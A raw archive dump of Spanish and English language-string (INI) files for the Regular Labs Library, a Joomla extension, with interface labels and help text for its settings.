RL_OPTION_SELECT_CLIENT="- Select Client -" ; RL_ORDER_DIRECTION_PRIMARY="Primary Order Direction" ; RL_ORDER_DIRECTION_SECONDARY="Secondary Order Direction" ; RL_ORDERING="Sort Order" ; RL_ORDERING_PRIMARY="Primary Sort Order" ; RL_ORDERING_SECONDARY="Secondary Sort Order" RL_OS="Sistemas Operativos" RL_OS_DESC="Seleccione los sistemas operativos para asignar. Tenga en cuenta que la detección del sistema operativo nunca es 100% transparente. Los usuarios pueden configurar su navegador para imitar otros sistemas operativos." ; RL_OTHER="Other" RL_OTHER_AREAS="Otras áreas" RL_OTHER_OPTIONS="Otras opciones" RL_OTHER_SETTINGS="Otras configuraciones" RL_OTHERS="Otros" RL_OUTPUT_EXAMPLE="Ejemplo de salida" RL_PAGE_TYPES="Tipos de página" RL_PAGE_TYPES_DESC="Seleccionar en qué tipos de página debería activarse la asignación." ; RL_PARAGRAPHS="Paragraphs" ; RL_PHP="Custom PHP" RL_PHP_DESC="Introduce un trozo de código PHP para evaluar. El código debe devolver el valor cierto o falso.<br><br>Por ejemplo:<br><br>[[%1:code%]]" RL_PLACE_HTML_COMMENTS="Colocar comentarios HTML" RL_PLACE_HTML_COMMENTS_DESC="Por defecto, los comentarios HTML se colocan alrededor de la salida de esta extensión.<br><br>Estos comentarios pueden ayudarte a resolver problemas cuando no obtienes la salida que esperas.<br><br>Si prefieres no dejar estos comentarios en la salida HTML, desactiva esta opción." ; RL_PLEASE_WAIT="Please wait..." ; RL_PLG_ACTIONLOG="Action Log Plugin" RL_PLG_EDITORS-XTD="Botón del editor" ; RL_PLG_FIELDS="Field Plugin" RL_PLG_SYSTEM="Plugin del sistema" ; RL_PLUGIN_HAS_BEEN_DISABLED="The [[%1:extension%]] plugin has been disabled!" RL_POSITION="Posición" RL_POSITIONING="Posicionamiento" ; RL_POSTALCODES="Postal Codes" ; RL_POSTALCODES_DESC="A comma separated list of postal codes (12345) or postal code ranges (12300-12500).<br>This can only be used for [[%1:start link%]]a limited number of countries and IP addresses[[%2:end link%]]." ; RL_POWERED_BY="Powered by %s" RL_PRODUCTS="Productos" RL_PUBLISHED_DESC="Puede utilizar esto para deshabilitar el artículo (temporalmente)." RL_PUBLISHING_ASSIGNMENTS="Asignaciones publicadas" RL_PUBLISHING_SETTINGS="Publicar Items" RL_RANDOM="Aleatorio" RL_REDSHOP="RedShop" ; RL_REGEX="Regular Expressions" ; RL_REGIONS="Regions / States" ; RL_REGIONS_DESC="Select the regions / states to assign to." ; RL_REGULAR_EXPRESSIONS="Use Regular Expressions" ; RL_REGULAR_EXPRESSIONS_DESC="Select to treat the value as regular expressions." ; RL_REGULAR_LABS_DOWNLOAD_KEY="Regular Labs Download Key" ; RL_REGULAR_LABS_EXTENSIONS="Regular Labs extensions" ; RL_REMOVE_IN_DISABLED_COMPONENTS="Remove in Disabled Components" ; RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="If selected, the plugin syntax will get removed from the component. If not, the original plugins syntax will remain intact." ; RL_RESIZE_IMAGES="Resize Images" RL_RESIZE_IMAGES_CROP="Recortar" ; RL_RESIZE_IMAGES_CROP_DESC="The resized image will always have the set width and height." ; RL_RESIZE_IMAGES_DESC="If selected, resized images will be automatically created for images if they do not exist yet. The resized images will be created using below settings." ; RL_RESIZE_IMAGES_FILETYPES="Only on Filetypes" ; RL_RESIZE_IMAGES_FILETYPES_DESC="Select the filetypes to do resizing on." RL_RESIZE_IMAGES_FOLDER="Carpeta" ; RL_RESIZE_IMAGES_FOLDER_DESC="The folder containing the resized images. This will be a subfolder of the folder containing your original images." ; RL_RESIZE_IMAGES_FORCE_RESIZE="Force Resize" ; RL_RESIZE_IMAGES_FORCE_RESIZE_DESC="If selected, the resized image will be created on every pageload, even if the resized image already exists. Only use for testing or temporarily force-renewing images." ; RL_RESIZE_IMAGES_HEIGHT_DESC="Set the height of the resized image in pixels (ie 180)." ; RL_RESIZE_IMAGES_MAX_AGE="Max Age" ; RL_RESIZE_IMAGES_MAX_AGE_DESC="The maximum age of the resized image in days. If the resized image is older than this, it will be recreated.<br>Set to 0 to never recreate the resized image if they already exist." ; RL_RESIZE_IMAGES_NO_HEIGHT_DESC="The Height will be calculated based on the Width defined above and the aspect ratio of the original image." ; RL_RESIZE_IMAGES_NO_WIDTH_DESC="The Width will be calculated based on the Height defined below and the aspect ratio of the original image." ; RL_RESIZE_IMAGES_QUALITY="JPG Quality" ; RL_RESIZE_IMAGES_QUALITY_DESC="The quality of the resized images. Choose from Low, Medium or High. The higher the quality, the larger the resulting files.<br>This only affects jpeg images." ; RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY="Retina Pixel Density" ; RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY_DESC="The pixel density of retina displays. This is the density at which the double sized retina image is used." ; RL_RESIZE_IMAGES_SCALE="Scale" ; RL_RESIZE_IMAGES_SCALE_DESC="The resized image will be resized to the maximum width or height maintaining its aspect ratio." ; RL_RESIZE_IMAGES_SCALE_USING="Scale using fixed..." ; RL_RESIZE_IMAGES_SCALE_USING_DESC="Select whether to resize images using the maximum width or height. The other dimension will be calculated based on the aspect ratio of the original image." ; RL_RESIZE_IMAGES_TYPE="Resize Method" ; RL_RESIZE_IMAGES_TYPE_DESC="Set the type of resizing." ; RL_RESIZE_IMAGES_USE_RETINA="Use Retina Images" ; RL_RESIZE_IMAGES_USE_RETINA_DESC="If selected, double size images will be created and used for retina displays." ; RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set" ; RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Select whether to resize images using the maximum width or height." ; RL_RESIZE_IMAGES_WIDTH_DESC="Set the width of the resized image in pixels (ie 320)." ; RL_RESIZE_SETTINGS="Resize Settings" ; RL_RIGHT="Right" RL_RTL="Derecha a izquierda" ; RL_SAVE_CONFIG="After saving the Options it will not pop up on page load anymore." ; RL_SCREEN="Screen" ; RL_SCROLL="Scroll" RL_SEASONS="Estaciones" RL_SEASONS_DESC="Selecciona las estaciones a asignar." RL_SELECT="Seleccionar" RL_SELECT_A_CATEGORY="Seleccione una categoría" RL_SELECT_ALL="Seleccionar todo" RL_SELECT_AN_ARTICLE="Selecciona un artículo" ; RL_SELECT_FIELD="Select Field" ; RL_SELECT_OR_CREATE_A_CATEGORY="Select or Create a Category" RL_SELECTED="Seleccionar" RL_SELECTION="Selección" ; RL_SELECTION_DESC="Select whether to include or exclude the selection for the assignment.<br><br><strong>Include</strong><br>Publish only on selection.<br><br><strong>Exclude</strong><br>Publish everywhere except on selection." ; RL_SET_CATEGORY="Set Category" ; RL_SET_COLOR="Set Colour" RL_SETTINGS_ADMIN_MODULE="Opciones del módulo de administrador" RL_SETTINGS_EDITOR_BUTTON="Opciones del botón del editor" RL_SETTINGS_SECURITY="Opciones de seguridad" RL_SHOW_ASSIGNMENTS="Mostrar asignaciones" ; RL_SHOW_ASSIGNMENTS_DESC="Select whether to only show the selected assignments. You can use this to get a clean overview of the active assignments." ; RL_SHOW_ASSIGNMENTS_SELECTED_DESC="All not-selected assignment types are now hidden from view." ; RL_SHOW_COPYRIGHT="Show Copyright" ; RL_SHOW_COPYRIGHT_DESC="If selected, extra copyright info will be displayed in the admin views. Regular Labs extensions never show copyright info or backlinks on the frontend." ; RL_SHOW_HELP_MENU="Show Help Menu Item" ; RL_SHOW_HELP_MENU_DESC="Select to show a link to the Regular Labs website in the Administrator Help menu." RL_SHOW_ICON="Mostrar icono en el botón" RL_SHOW_ICON_DESC="Si se selecciona, el icono se mostrará en el botón del editor." ; RL_SHOW_SETTINGS="Show Settings" ; RL_SHOW_UPDATE_NOTIFICATION="Show Update Notification" ; RL_SHOW_UPDATE_NOTIFICATION_DESC="If selected, an update notification will be shown in the main component view when there is a new version for this extension." RL_SIMPLE="Simple" ; RL_SLIDE="Slide" ; RL_SLIDES="Slides" RL_SOUTHERN="Meridional" ; RL_SPECIFIC="Specific" ; RL_SPECIFY="Specify" RL_SPEED="Velocidad" RL_SPRING="Primavera" RL_START="Inicio" RL_START_PUBLISHING="Comenzar publicación" RL_START_PUBLISHING_DESC="Introducir la fecha para comenzar la publicación" ; RL_STRIP_HTML_IN_HEAD="Strip HTML in Head" ; RL_STRIP_HTML_IN_HEAD_DESC="Select to strip html tags from the output of the plugin inside the HTML Head section" ; RL_STRIP_SURROUNDING_TAGS="Strip Surrounding Tags" ; RL_STRIP_SURROUNDING_TAGS_DESC="Select to always remove html tags (div, p, span) surrounding the plugin tag. If switched off, the plugin will try to remove tags that break the html structure (like p inside p tags)." RL_STYLING="Estilo" ; RL_SUBITEMS="Sub-items" RL_SUMMER="Verano" ; RL_TABLE_NOT_FOUND="Required %s database table not found!" RL_TABS="Pestañas" ; RL_TAG_CHARACTERS="Tag Characters" ; RL_TAG_CHARACTERS_DESC="The surrounding characters of the tag syntax.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore." RL_TAG_SYNTAX="Sintaxis de la etiqueta" RL_TAG_SYNTAX_DESC="La palabra para usar en las etiquetas.<br><br><strong>Note:</strong>Si cambias esto, todas las etiquetas existentes hasta ahora dejarán de funcionar." RL_TAGS="Etiquetas" RL_TAGS_DESC="Ingrese las etiquetas para asignar. Separe las etiquetas con comas" RL_TEMPLATES="Plantillas" RL_TEMPLATES_DESC="Selecciona las aplantillas a asignar." RL_TEXT="Texto" ; RL_TEXT_HTML="Text (HTML)" RL_TEXT_ONLY="Sólo texto" ; RL_THEME="Theme" ; RL_THEME_DESC="Select the default theme." RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="¡Esta extensión necesita %s para funcionar correctamente!" RL_TIME="Hora" RL_TIME_FINISH_PUBLISHING_DESC="Introduce la hora para finalizar la publicación.<br><br><strong>Formato:</strong> 23:59" RL_TIME_START_PUBLISHING_DESC="Introduce la hora para comenzar la publicación.<br><br><strong>Formato:</strong> 23:59" RL_TOGGLE="Conmutar" ; RL_TOGGLE_SELECTION="Toggle Selection" RL_TOOLTIP="Tooltip" RL_TOP="Arriba" ; RL_TOP_LEFT="Top Left" ; RL_TOP_RIGHT="Top Right" RL_TOTAL="Total" RL_TYPE="Tipo" RL_TYPES="Tipos" RL_TYPES_DESC="Tipos de items" RL_UNSELECT_ALL="Des-seleccinar todo" RL_UNSELECTED="Sin seleccionar" RL_UPDATE_TO="Actualizar versión %s" RL_URL="URL" ; RL_URL_PARAM_NAME="Parameter Name" ; RL_URL_PARAM_NAME_DESC="Enter the name of the url parameter." RL_URL_PARTS="Coincidencias de URL" ; RL_URL_PARTS_CASE_SENSITIVE="Url parts will be only match if casing is exactly the same." RL_URL_PARTS_DESC="Introduce (parte de) las URLs a emparejar.<br><br>Usa una línea nueva para cada condición diferente." ; RL_URL_PARTS_REGEX="Url parts will be matched using regular expressions. <strong>So make sure the string uses valid regex syntax.</strong>" ; RL_USE_CATEGORIES="Enable Categories" ; RL_USE_CATEGORIES_DESC="Enable to use categories and show the category column in the list view." ; RL_USE_COLORS="Enable Colours" ; RL_USE_COLORS_DESC="Enable to use colours and show the colour column in the list view." ; RL_USE_CONTENT_ASSIGNMENTS="For category & article (item) assignments, see the above Joomla! Content section." RL_USE_CUSTOM_CODE="Usar código personalizado" RL_USE_CUSTOM_CODE_DESC="Si se selecciona, el botón del editor colocará código dado en su lugar" ; RL_USE_SIMPLE_BUTTON="Use Simple Button" ; RL_USE_SIMPLE_BUTTON_DESC="Select to use a simple insert button, that simply inserts some example syntax into the editor." ; RL_USER_ACTION_LOGS="User Actions Logs" RL_USER_GROUP_LEVELS="Niveles de grupos de usuarios" RL_USER_GROUPS="Grupos de usuarios" RL_USER_GROUPS_DESC="Seleccione el grupo de usuario para asgnar" RL_USER_IDS="IDs usuarios" RL_USER_IDS_DESC="Introduce las IDs de usuarios a asignar. Usa comas para separar las IDs." RL_USERS="Usuarios" RL_UTF8="UTF-8" ; RL_VALUE="Value" RL_VIDEO="Video" RL_VIEW="Ver" RL_VIEW_DESC="Selecciona el tipo de vista por defecto al crear un item" RL_VIRTUEMART="VirtueMart" RL_WIDTH="Ancho" ; RL_WIDTH_BASED_ON="Base on Width of" ; RL_WIDTH_BASED_ON_DESC="Select the element to base the width on." ; RL_WIDTH_BREAK_POINT="Break Point" ; RL_WIDTH_BREAK_POINT_DESC="The width in pixels the screen is considered as wide." ; RL_WINDOW="Window" RL_WINTER="Invierno" ; RL_WORDS="Words" ; RL_WRAP="Wrap" RL_ZOO="ZOO" RL_ZOO_CATEGORIES="Categorías ZOO" PK :�\�KDa a 3 language/es-ES/es-ES.plg_system_regularlabs.sys.ininu &1i� ;; @package Regular Labs Library ;; @version 25.7.12430 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REGULARLABS="Sistema - Regular Labs Library" PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - utilizado por las extensiones Regular Labs" REGULAR_LABS_LIBRARY="Regular Labs Library" PK :�\��/fm� m� / language/en-GB/en-GB.plg_system_regularlabs.ininu &1i� ;; @package Regular Labs Library ;; @version 25.7.12430 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REGULARLABS="System - Regular Labs Library" PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions" REGULAR_LABS_LIBRARY="Regular Labs Library" REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]The Regular Labs extensions need this plugin and will not function without it.<br><br>Regular Labs extensions include:[[%2:extensions%]]" REGULAR_LABS_LIBRARY_DESC_WARNING="Do not uninstall or disable this plugin if you are using any Regular Labs extensions." COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="User Actions Log" COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax" COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description" COM_MODULES_RL_BEHAVIOUR_FIELDSET_LABEL="Behaviour" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description" COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Behaviour" COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Default Settings" COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Media" COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Administrator Module Options" COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Editor Button Options" COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Security Options" COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Setup" COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Styling" COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax" RL_ACCESS_LEVELS="Access Levels" RL_ACCESS_LEVELS_DESC="Select the access levels to assign to." RL_ACTION_CHANGE_DEFAULT="Change Default" RL_ACTION_CHANGE_STATE="Change Publish State" RL_ACTION_CREATE="Create" RL_ACTION_DELETE="Delete" RL_ACTION_INSTALL="Install" RL_ACTION_UNINSTALL="Uninstall" RL_ACTION_UPDATE="Update" RL_ACTIONLOG_EVENTS="Events To Log" RL_ACTIONLOG_EVENTS_DESC="Select the actions to include in the User Actions Log." RL_ADD_BUTTON_TEXT="Add Button Text" RL_ADD_BUTTON_TEXT_DESC="Select to show a text in the button." RL_ADMIN="Admin" RL_ADMIN_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] administrator module has been unpublished!" RL_ADVANCED="Advanced" RL_AFTER="After" RL_AFTER_NOW="After NOW" RL_AKEEBASUBS="Akeeba Subscriptions" RL_ALIGNMENT="Alignment" RL_ALL="ALL" RL_ALL_DESC="Will be published if <strong>ALL</strong> of below assignments are matched." RL_ALL_RIGHTS_RESERVED="All Rights Reserved" RL_ALSO_ON_CHILD_ITEMS="Also on child items" RL_ALSO_ON_CHILD_ITEMS_DESC="Also assign to child items of the selected items?" RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="The child items refer to actual sub-items in the above selection. They do not refer to links on selected pages." RL_ANIMATIONS="Animations" RL_ANY="ANY" RL_ANY_DESC="Will be published if <strong>ANY</strong> (one or more) of below assignments are matched.<br>Assignment groups where 'Ignore' is selected will be ignored." RL_ARE_YOU_SURE="Are you sure?" RL_ARTICLE="Article" RL_ARTICLE_AUTHORS="Authors" RL_ARTICLE_AUTHORS_DESC="Select the authors to assign to." RL_ARTICLES="Articles" RL_ARTICLES_DESC="Select the articles to assign to." RL_AS_EXPORTED="As exported" RL_ASSIGNMENTS="Assignments" RL_ASSIGNMENTS_DESC="By selecting the specific assignments you can limit where this %s should or shouldn't be published.<br>To have it published on all pages, simply do not specify any assignments." RL_AUSTRALIA="Australia" RL_AUTHORS="Authors" RL_AUTO="Auto" RL_AUTOMATIC="Automatic" RL_BE_CAREFUL="Be careful!" RL_BEFORE="Before" RL_BEFORE_NOW="Before NOW" RL_BEGINS_WITH="Begins with" RL_BEHAVIOR="Behaviour" RL_BEHAVIOUR="Behaviour" RL_BETWEEN="Between" RL_BOOTSTRAP="Bootstrap" RL_BOOTSTRAP_FRAMEWORK_DISABLED="You have disabled the Bootstrap Framework to be initiated. %s needs the Bootstrap Framework to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality." RL_BOTH="Both" RL_BOTTOM="Bottom" RL_BOTTOM_LEFT="Bottom Left" RL_BOTTOM_RIGHT="Bottom Right" RL_BROWSERS="Browsers" RL_BROWSERS_DESC="Select the browsers to assign to. Keep in mind that browser detection is not always 100% accurate. Users can setup their browser to mimic other browsers" RL_BUTTON_ICON="Button Icon" RL_BUTTON_ICON_DESC="Select which icon to show in the button." RL_BUTTON_TEXT="Button Text" RL_BUTTON_TEXT_DESC="Set the text to show in the button. You can use a language string." RL_CACHE_TIME="Cache Time" RL_CACHE_TIME_DESC="The maximum length of time in minutes for a cache file to be stored before it is refreshed. Leave empty to use the global setting." RL_CASE_SENSITIVE="Case Sensitive" RL_CATEGORIES="Categories" RL_CATEGORIES_DESC="Select the categories to assign to." RL_CATEGORY="Category" RL_CENTER="Center" RL_CHANGELOG="Changelog" RL_CHARACTERS="Characters" RL_CLASSNAME="CSS Class" RL_CLICK="Click" RL_COLLAPSE="Collapse" RL_COLOR="Colour" RL_COLORS="Colours" RL_COLORS_DESC="A comma separated list of RGB colours to show in the colour picker." RL_COM="Component" RL_COMBINE_ADMIN_MENU="Combine Admin Menu" RL_COMBINE_ADMIN_MENU_DESC="Select to combine all Regular Labs - components into a submenu in the administrator menu." RL_COMPARISON="Comparison" RL_COMPONENTS="Components" RL_COMPONENTS_DESC="Select the components to assign to." RL_CONDITIONS="Conditions" RL_CONTAINS="Contains" RL_CONTAINS_ONE="Contains one of" RL_CONTENT="Content" RL_CONTENT_KEYWORDS="Content Keywords" RL_CONTENT_KEYWORDS_DESC="Enter the keywords found in the content to assign to. Use commas to separate the keywords." RL_CONTINENTS="Continents" RL_CONTINENTS_DESC="Select the continents to assign to." RL_COOKIECONFIRM="Cookie Confirm" RL_COOKIECONFIRM_COOKIES="Cookies allowed" RL_COOKIECONFIRM_COOKIES_DESC="Assign to whether cookies are allowed or disallowed, based on the configuration of Cookie Confirm (by Twentronix) and the visitor's choice to accept or decline cookies." RL_COPY_OF="Copy of %s" RL_COPYRIGHT="Copyright" RL_COUNTRIES="Countries" RL_COUNTRIES_DESC="Select the countries to assign to." RL_CSS_CLASS="Class (CSS)" RL_CSS_CLASS_DESC="Define a css class name for styling purposes." RL_CURRENT="Current" RL_CURRENT_DATE="Current date/time: <strong>%s</strong>" RL_CURRENT_USER="Current User" RL_CURRENT_VERSION="Your current version is %s" RL_CUSTOM="Custom" RL_CUSTOM_CODE="Custom Code" RL_CUSTOM_CODE_DESC="Enter the code the Editor Button should insert into the content (instead of the default code)." RL_CUSTOM_FIELD="Custom Field" RL_CUSTOM_FIELDS="Custom Fields" RL_CUSTOM_FORMAT="Custom Format" RL_DATE="Date" RL_DATE_DESC="Select the type of date comparison to assign by." RL_DATE_FROM="From" RL_DATE_RECURRING="Recurring" RL_DATE_RECURRING_DESC="Select to apply date range every year. (So the year in the selection will be ignored)" RL_DATE_TIME="Date & Time" RL_DATE_TIME_DESC="The date and time assignments use the date/time of your servers, not that of the visitors system." RL_DATE_TO="To" RL_DAYS="Days of the week" RL_DAYS_DESC="Select days of the week to assign to." RL_DEFAULT_ORDERING="Default Ordering" RL_DEFAULT_ORDERING_DESC="Set the default ordering of the list items" RL_DEFAULT_SETTINGS="Default Settings" RL_DEFAULTS="Defaults" RL_DEVICE_DESKTOP="Desktop" RL_DEVICE_MOBILE="Mobile" RL_DEVICE_TABLET="Tablet" RL_DEVICES="Devices" RL_DEVICES_DESC="Select the devices to assign to. Keep in mind that device detection is not always 100% accurate. Users can setup their device to mimic other devices" RL_DIRECTION="Direction" RL_DIRECTION_DESC="Select the direction" RL_DISABLE_IN_SOURCERER="Disable in Sourcerer" RL_DISABLE_IN_SOURCERER_DESC="Select to disable the plugin inside Sourcerer tags." RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Select in which administrator components NOT to enable the use of this extension." RL_DISABLE_ON_ALL_COMPONENTS_DESC="Select in which components NOT to enable the use of this extension." RL_DISABLE_ON_COMPONENTS="Disable on Components" RL_DISABLE_ON_COMPONENTS_DESC="Select in which frontend components NOT to enable the use of this extension." RL_DISPLAY_EDITOR_BUTTON="Display Editor Button" RL_DISPLAY_EDITOR_BUTTON_DESC="Select to display an editor button." RL_DISPLAY_LINK="Display link" RL_DISPLAY_LINK_DESC="How do you want the link to be displayed?" RL_DISPLAY_STATUSBAR_BUTTON="Display Status bar Button" RL_DISPLAY_STATUSBAR_BUTTON_DESC="Select to show a button in the status bar." RL_DISPLAY_TOOLBAR_BUTTON="Display Toolbar Button" RL_DISPLAY_TOOLBAR_BUTTON_DESC="Select to show a button in the toolbar." RL_DISPLAY_TOOLBAR_BUTTONS="Display Toolbar Buttons" RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Select to show button(s) in the toolbar." RL_DISPLAY_TOOLTIP="Display Tooltip" RL_DISPLAY_TOOLTIP_DESC="Select to display a tooltip with extra info when mouse hovers over link/icon." RL_DOWNLOAD_KEY="Download Key" RL_DOWNLOAD_KEY_DESC="Please enter your Download Key from the Regular Labs website here. You can find your Download Key under Downloads on the Regular Labs website after logging in." RL_DOWNLOAD_KEY_ENTER="Please enter your Regular Labs Download Key" RL_DOWNLOAD_KEY_ERROR_EMPTY="You have not entered your Download Key yet.<br>Without the Download Key, you will not be able to update when new versions of [[%1:extension%]] (Pro versions) are released.<br>You can find your Download Key under [[%2:start link%]]Download Keys[[%3:end link%]] on the Regular Labs website after logging in." RL_DOWNLOAD_KEY_ERROR_EXPIRED="Your subscription seems to have expired.<br>This means you will not be able to update to newer versions.<br>Please consider [[%1:start link%]]renewing your subscription[[%2:end link%]]." RL_DOWNLOAD_KEY_ERROR_EXTERNAL="There was an issue trying to check the validity of your Download Key.<br>Try again later.<br>Otherwise contact the [[%1:start link%]]Regular Labs support[[%2:end link%]]." RL_DOWNLOAD_KEY_ERROR_INVALID="Your Download Key seems to be invalid.<br>You can find your Download Key under [[%1:start link%]]Download Keys[[%2:end link%]] on the Regular Labs website after logging in." RL_DOWNLOAD_KEY_ERROR_LOCAL="There was an issue trying to find a Download Key on your setup.<br>Try reinstalling the extension." RL_DYNAMIC_TAG_ARTICLE_ID="The id number of the current article." RL_DYNAMIC_TAG_ARTICLE_OTHER="Any other available data from the current article." RL_DYNAMIC_TAG_ARTICLE_TITLE="The title of the current article." RL_DYNAMIC_TAG_COUNTER="This places the number of the occurrence.<br>If your search is found, say, 4 times, the count will show respectively 1 to 4." RL_DYNAMIC_TAG_DATE="Date using [[%1:start link%]]php strftime() format[[%2:end link%]]. Example: [[%3:example%]]" RL_DYNAMIC_TAG_ESCAPE="Use to escape dynamic values (add slashes to quotes)." RL_DYNAMIC_TAG_LOWERCASE="Convert text within tags to lowercase." RL_DYNAMIC_TAG_NOTAGS="Remove html tags from the text within tags." RL_DYNAMIC_TAG_NOWHITESPACE="Remove html tags and whitespace from the text within tags." RL_DYNAMIC_TAG_RANDOM="A random number within the given range" RL_DYNAMIC_TAG_RANDOM_LIST="A random value from a list of strings, numbers or ranges" RL_DYNAMIC_TAG_REPLACE="Replace strings inside the text within tags" RL_DYNAMIC_TAG_STRING_EXAMPLE=""It's a <strong><u>string</u></strong>!"" RL_DYNAMIC_TAG_TEXT="A language string to translate into text (based on the active language)" RL_DYNAMIC_TAG_TOALIAS="Convert text within tags to an alias (lowercase dash separated string)." RL_DYNAMIC_TAG_UPPERCASE="Convert text within tags to uppercase." RL_DYNAMIC_TAG_USER_ID="The id number of the user" RL_DYNAMIC_TAG_USER_NAME="The name of the user" RL_DYNAMIC_TAG_USER_OTHER="Any other available data from the user or the connected contact. Example: [[user:misc]]" RL_DYNAMIC_TAG_USER_TAG_DESC="The user tag places data from the logged in user. If the visitor is not logged in, the tag will be removed." RL_DYNAMIC_TAG_USER_USERNAME="The login name of the user" RL_DYNAMIC_TAGS="Dynamic Tags" RL_EASYBLOG="EasyBlog" RL_EDITOR_BUTTON_TEXT_DESC="This text will be shown in the Editor Button." RL_ELEMENT="Element" RL_EMPTY_FOR_AUTO_SIZING="Leave empty to use automatic sizing." RL_EMPTY_FOR_AUTOMATIC_SIZING="Leave empty to use automatic sizing." RL_EMPTY_FOR_DEFAULT="Leave empty to use the default setting." RL_ENABLE="Enable" RL_ENABLE_ACTIONLOG="Log User Actions" RL_ENABLE_ACTIONLOG_DESC="Select to store User Actions. These actions will be visible in the User Actions Log module." RL_ENABLE_IN="Enable in" RL_ENABLE_IN_ADMIN="Enable in administrator" RL_ENABLE_IN_ADMIN_DESC="If enabled, the plugin will also work in the administrator side of the website.<br><br>Normally you will not need this. And it can cause unwanted effects, like slowing down the administrator and the plugin tags being handled in areas you don't want it." RL_ENABLE_IN_ARTICLES="Enable in articles" RL_ENABLE_IN_COMPONENTS="Enable in components" RL_ENABLE_IN_DESC="Select whether to enable in the frontend or administrator side or both." RL_ENABLE_IN_FRONTEND="Enable in frontend" RL_ENABLE_IN_FRONTEND_DESC="If enabled, it will also be available in the frontend." RL_ENABLE_OTHER_AREAS="Enable other areas" RL_ENABLE_PUBLISHING_ASSIGNMENTS="Here you can switch off any publishing assignments you do not want to use." RL_ENABLED_IN_FRONTEND="Enabled in frontend" RL_ENDS_WITH="Ends with" RL_EQUALS="Equals" RL_ERROR_CODEMIRROR_DISABLED="The CodeMirror editor plugin is disabled. [[%1:extension]] needs this editor to function. [[%2:link start]]Please enabled it.[[%3:link end]]" RL_EXCLUDE="Exclude" RL_EXPAND="Expand" RL_EXPORT="Export" RL_EXPORT_FORMAT="Export Format" RL_EXPORT_FORMAT_DESC="Select the file format for the export files." RL_EXTRA_PARAMETERS="Extra Parameters" RL_EXTRA_PARAMETERS_DESC="Enter any extra parameters that cannot be set with the available settings" RL_FADE="Fade" RL_FALL="Fall / Autumn" RL_FEATURED_DESC="Select to use the feature state in the assignment." RL_FEATURES="Features" RL_FIELD="Field" RL_FIELD_CHECKBOXES="Checkboxes" RL_FIELD_DROPDOWN="Dropdown" RL_FIELD_MULTI_SELECT_STYLE="Multi-Select Style" RL_FIELD_MULTI_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes." RL_FIELD_NAME="Field Name" RL_FIELD_PARAM_MULTIPLE="Multiple" RL_FIELD_PARAM_MULTIPLE_DESC="Allow multiple values to be selected." RL_FIELD_SELECT_STYLE="Multi-Select Style" RL_FIELD_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes." RL_FIELD_VALUE="Field Value" RL_FIELDS_DESC="Select the field(s) you want to assign to and enter the desired value(s)." RL_FILES_NOT_FOUND="Required %s files not found!" RL_FILTERS="Filters" RL_FINISH_PUBLISHING="Finish Publishing" RL_FINISH_PUBLISHING_DESC="Enter the date to end publishing" RL_FIX_HTML="Fix HTML" RL_FIX_HTML_DESC="Select to let the extension fix any html structure issues it finds. This is often necessary to deal with surrounding html tags.<br><br>Only switch this off if you have issues with this." RL_FLEXICONTENT="FLEXIcontent" RL_FOR_MORE_GO_PRO="For more functionality you can purchase the PRO version." RL_FORM2CONTENT="Form2Content" RL_FRAMEWORK_NO_LONGER_USED="The Old NoNumber Framework does not seem to be used by any other extensions you have installed. It is probably safe to disable or uninstall this plugin." RL_FROM_TO="From-To" RL_FRONTEND="Frontend" RL_GALLERY="Gallery" RL_GEO="Geolocating" RL_GEO_DESC="Geolocating is not always 100% accurate. The geolocation is based on the IP address of the visitor. Not all IP addresses are fixed or known." RL_GEO_GEOIP_COPYRIGHT_DESC="This product includes GeoLite2 data created by MaxMind, available from [[%1:link%]]" RL_GEO_NO_GEOIP_LIBRARY="The Regular Labs GeoIP library is not installed. You need to [[%1:link start%]]install the Regular Labs GeoIP library[[%2:link end%]] to be able to use the Geolocating assignments." RL_GO_PRO="Go Pro!" RL_GO_TO_DOCUMENTATION="[[%1:icon%]] [[%2:start link%]]Documentation[[%3:end link%]]" RL_GREATER_THAN="Greater than" RL_HANDLE_HTML_HEAD="Handle HTML Head" RL_HANDLE_HTML_HEAD_DESC="Select to have the plugin also handle the HTML head section.<br><br>Please note that this can potentially cause unwanted html to be placed inside the HTML head tags and cause 